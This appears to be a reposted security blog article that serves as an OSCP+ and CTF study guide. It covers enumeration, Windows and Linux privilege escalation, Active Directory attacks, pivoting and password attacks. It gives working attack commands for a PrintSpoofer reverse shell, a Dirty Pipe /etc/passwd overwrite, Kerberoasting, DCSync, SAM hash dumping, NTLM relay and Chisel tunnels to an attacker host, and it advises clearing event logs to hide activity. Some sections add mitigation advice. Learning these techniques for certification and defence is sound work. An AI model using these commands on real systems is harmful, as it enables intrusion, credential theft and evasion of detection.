Listen to this Post
Introduction:
The OSCP+ certification and professional Capture The Flag (CTF) competitions demand more than theoretical knowledge—they require practical mastery of attack vectors, enumeration techniques, and post-exploitation strategies. This article distills core methodologies from advanced penetration testing training, focusing on Windows/Linux privilege escalation, Active Directory exploitation, and tunneling tactics used in real-world red team operations.
Learning Objectives:
- Execute systematic enumeration and privilege escalation on Windows and Linux targets using native commands and public exploits.
- Perform Active Directory attacks including Kerberoasting, Pass-the-Hash, and ACL abuse to compromise domain controllers.
- Deploy tunneling and pivoting techniques with Chisel, SSH, and Metasploit to navigate segmented networks.
You Should Know:
1. Systematic Information Gathering & Enumeration
The foundation of any successful penetration test is exhaustive enumeration. Before launching exploits, map the attack surface using both passive and active techniques. The following commands and tools replicate exam-style reconnaissance.
Linux Enumeration Commands:
Network and host discovery sudo nmap -sS -sC -sV -O -p- -T4 192.168.1.0/24 -oA network_scan Recursive directory brute-forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,asp,txt -t 50 Linux local enumeration (post-access) uname -a && cat /etc/os-release find / -perm -4000 -type f 2>/dev/null SUID binaries sudo -l Check sudo rights crontab -l && ls -la /etc/cron Scheduled tasks
Windows Enumeration Commands:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" wmic qfe get Caption,Description,HotFixID,InstalledOn Patches net user %username% && net localgroup administrators reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Step‑by‑Step Guide:
- Run `nmap` with `-sC` (default scripts) and `-sV` (version detection) to identify services.
- For web targets, use `gobuster` or `ffuf` to discover hidden directories and API endpoints.
- After gaining low-privilege shell access on Linux, execute the enumeration commands above to identify SUID binaries, writable cron jobs, or kernel vulnerabilities.
- On Windows, use `systeminfo` and `wmic` to check for missing patches (e.g., MS17-010 for EternalBlue).
- Document all findings in a structured format (e.g., Obsidian or CherryTree) for later exploitation.
2. Vulnerability Scanning & Public Exploit Mitigation
Automated scanners identify low-hanging fruit, but manual validation prevents false positives and detection. Combine tools like Nessus, OpenVAS, or Nikto with manual exploitation.
Command Examples:
Vulnerability scanning with Nmap NSE nmap --script vuln -sV 192.168.1.10 -oA vuln_scan Web vulnerability scanning nikto -h https://target.com -ssl -Format html -o nikto_report.html Using Searchsploit to find public exploits searchsploit "Apache 2.4.49" --exclude=".py" Path traversal CVE-2021-41773
Step‑by‑Step Guide for Safe Exploitation:
- Run `nmap –script vuln` to identify potential CVEs without crashing services.
- Cross-reference findings with `searchsploit` to obtain exploit code.
- Before executing, analyze the exploit: check for architecture compatibility (x86/x64) and required dependencies.
- Use a sandboxed environment (e.g., Docker or VM snapshot) to test the exploit.
- For critical systems, prefer manual exploitation over automated tools to avoid denial-of-service conditions.
Mitigation Advice:
- Apply vendor patches within 30 days of release.
- Deploy Web Application Firewalls (WAF) with virtual patching for unpatched vulnerabilities.
- Use endpoint detection and response (EDR) to monitor for exploit attempts (e.g., `mimikatz` or `PsExec` detection).
3. Windows Privilege Escalation Techniques
Windows privilege escalation often relies on misconfigured services, token impersonation, or vulnerable kernel drivers. Master these vectors for OSCP+ success.
Common Attack Vectors with Commands:
Check for AlwaysInstallElevated registry keys reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated Unquoted service path enumeration wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" SeImpersonate privilege abuse with PrintSpoofer PrintSpoofer64.exe -i -c cmd.exe
Step‑by‑Step Guide for Token Impersonation:
- Run `whoami /priv` to list privileges. Look for `SeImpersonatePrivilege` or
SeAssignPrimaryTokenPrivilege.
2. Download `PrintSpoofer` or `JuicyPotatoNG` to the target.
- Execute `PrintSpoofer.exe -i -c “whoami”` to confirm SYSTEM context.
- Spawn a reverse shell:
PrintSpoofer.exe -i -c "powershell -enc <base64 reverse shell>". - Clean up logs: `wevtutil cl “Windows PowerShell”` and
clear-eventlog "System". -
Linux Privilege Escalation: SUID, Sudo, and Kernel Exploits
Linux systems expose privilege escalation through setuid binaries, sudo misconfigurations, and outdated kernels. The following methods are CTF favorites.
Command Reference:
Find SUID binaries owned by root find / -perm -4000 -user root -type f 2>/dev/null | xargs ls -la Exploit vulnerable SUID binary (e.g., 'pkexec' CVE-2021-4034) ./cve-2021-4034-poc After compiling the exploit Abusing sudo rights - check for NOPASSWD or dangerous commands sudo -l If you can run 'find' as root: sudo find . -exec /bin/sh \; -quit If you can run 'vim': sudo vim -c ':!/bin/bash' Kernel exploit (Dirty Pipe CVE-2022-0847) gcc dirty_pipe.c -o dirty_pipe && ./dirty_pipe /etc/passwd 0 "root2::0:0:root:/root:/bin/bash"
Step‑by‑Step Guide for SUID Exploitation:
- Run `find / -perm -4000 2>/dev/null` to list all SUID files.
- Check GTFOBins (https://gtfobins.github.io/) for each binary (e.g.,
cp,nmap,vim). - For `nmap` with SUID, spawn an interactive shell: `nmap –interactive` then
!sh. - If a kernel exploit is needed, run `uname -r` and search `searchsploit` for matching versions.
- Compile and transfer the exploit using `wget` or
scp; execute with care to avoid system crashes. -
Active Directory Attacks: Kerberoasting, AS-REP Roasting, and ACL Abuse
Active Directory remains the crown jewel of enterprise networks. OSCP+ requires chaining AD attacks to move from a standard user to domain admin.
Attack Commands using Impacket and PowerView:
Kerberoasting with Impacket GetUserSPNs.py -request -dc-ip 192.168.1.10 domain.com/username:password -outputfile kerberoast.hash AS-REP Roasting GetNPUsers.py -dc-ip 192.168.1.10 domain.com/ -usersfile users.txt -format hashcat -outputfile asrephash.txt Pass-the-Hash (PtH) with evil-winrm evil-winrm -i 192.168.1.20 -u Administrator -H "NTLM_HASH" DCSync attack (requires DA privileges) mimikatz lsadump::dcsync /user:krbtgt
Step‑by‑Step Guide for Kerberoasting:
- Enumerate domain users with `net user /domain` or
BloodHound’sSharpHound.ps1. - Run `GetUserSPNs.py` to request service tickets for accounts with SPNs.
- Crack the hash with Hashcat:
hashcat -m 13100 kerberoast.hash rockyou.txt. - Use the cracked password to authenticate as the service account (often high-privileged).
- For ACL abuse, use `BloodHound` to identify `GenericAll` or `WriteOwner` edges, then modify DACLs with `Set-ADObjectACL` (PowerView).
Mitigation:
- Use Group Managed Service Accounts (gMSA) with automatic password rotation.
- Enforce AES256 encryption for Kerberos tickets.
- Monitor Event IDs 4769 (Kerberos service ticket) for anomalous ticket requests.
6. Tunneling & Pivoting: Chisel, SSH, and Metasploit
After compromising a boundary host, pivot into internal networks using port forwarding and tunneling. This simulates real-world red team lateral movement.
Chisel Tunnel Setup:
On attacker machine (server) chisel server -p 8000 --reverse On compromised target (client) chisel client <attacker_ip>:8000 R:socks Then use proxychains to route tools through the tunnel echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf proxychains nmap -sT -Pn 10.0.0.0/24 SSH dynamic port forwarding (Linux target) ssh -D 1080 -N -f user@compromised_host Metasploit pivot with autoroute meterpreter > run autoroute -s 10.10.10.0/24 meterpreter > background msf6 > use auxiliary/server/socks_proxy msf6 > set SRVHOST 127.0.0.1 msf6 > run
Step‑by‑Step Guide for Chisel Pivoting:
- Upload `chisel` binary to the compromised host (Linux/Windows).
- On your attack box, run
chisel server -p 8000 --reverse. - On the target, execute
chisel client your_ip:8000 R:1080:socks.
4. Configure `proxychains4.conf` with `socks5 127.0.0.1 1080`.
- Scan internal networks:
proxychains nmap -sT -Pn -p 445 10.0.0.0/24. - Use `proxychains` with
crackmapexec,impacket, or `evil-winrm` to attack discovered hosts.
7. Password Attacks & Credential Exploitation
Cracking hashes and reusing credentials is essential for persistence and lateral movement. Combine offline cracking with online spraying.
Tools and Commands:
Extract hashes from SAM/SYSTEM (Windows) reg save hklm\sam sam.save && reg save hklm\system system.save Use impacket-secretsdump to parse impacket-secretsdump -sam sam.save -system system.save LOCAL Cracking NTLM hashes with Hashcat hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt -r best64.rule Password spraying with crackmapexec crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2025!' --continue-on-success Responder for LLMNR/NBT-NS poisoning (local network) sudo responder -I eth0 -dwP Capture Net-NTLMv2 hash and relay with ntlmrelayx ntlmrelayx.py -tf targets.txt -smb2support
Step‑by‑Step Guide for Responder + NTLM Relay:
- Run `sudo responder -I eth0 -dwP` to poison LLMNR requests.
- Wait for a user to attempt accessing a non-existent SMB share; Responder captures their NTLMv2 hash.
- Save the hash and crack with
hashcat -m 5600. - Alternatively, use `ntlmrelayx.py -tf targets.txt` to relay the hash to another machine (requires SMB signing disabled).
- Once relayed, execute commands or dump SAM remotely.
Defensive Mitigation:
- Disable LLMNR and NBT-NS via Group Policy.
- Enable SMB signing on all domain controllers.
- Use complex, unique passwords and enforce MFA.
What Undercode Say:
- Systematic enumeration is non-negotiable – Skipping initial reconnaissance leads to missed vectors. Use automated tools (Nmap, BloodHound) but validate manually.
- Privilege escalation relies on misconfigurations – SUID binaries, unquoted service paths, and weak sudo rights are the top three OSCP+ findings. Practice them in labs like HackTheBox or Proving Grounds.
- Active Directory is a chain of trust – One compromised user with `GenericAll` over a group can lead to Domain Admin. Learn BloodHound’s edge analysis and DACL abuse.
- Tunneling transforms a foothold into full network access – Master Chisel and SSH dynamic forwarding; they are lighter than Metasploit and often evade EDR.
- Password attacks remain effective – Despite MFA push, NTLM relaying and Kerberoasting still succeed in real engagements. Always test for weak password policies.
Prediction:
The OSCP+ exam will continue to emphasize Active Directory attacks and chained privilege escalation over standalone exploits. As EDRs improve, expect more focus on living-off-the-land binaries (LOLBins), PowerShell-less techniques, and bypassing AMSI. Cloud-joined hybrid AD environments will appear in advanced CTFs, requiring knowledge of Azure AD Connect exploitation and token theft. Practitioners who master tunneling, custom exploit compilation, and report writing will remain ahead. The shift toward automated breach-and-attack simulation tools (e.g., Caldera) will also influence training, but manual skills stay irreplaceable for true red team proficiency.
▶️ Related Video (70% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Oscp Exam – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
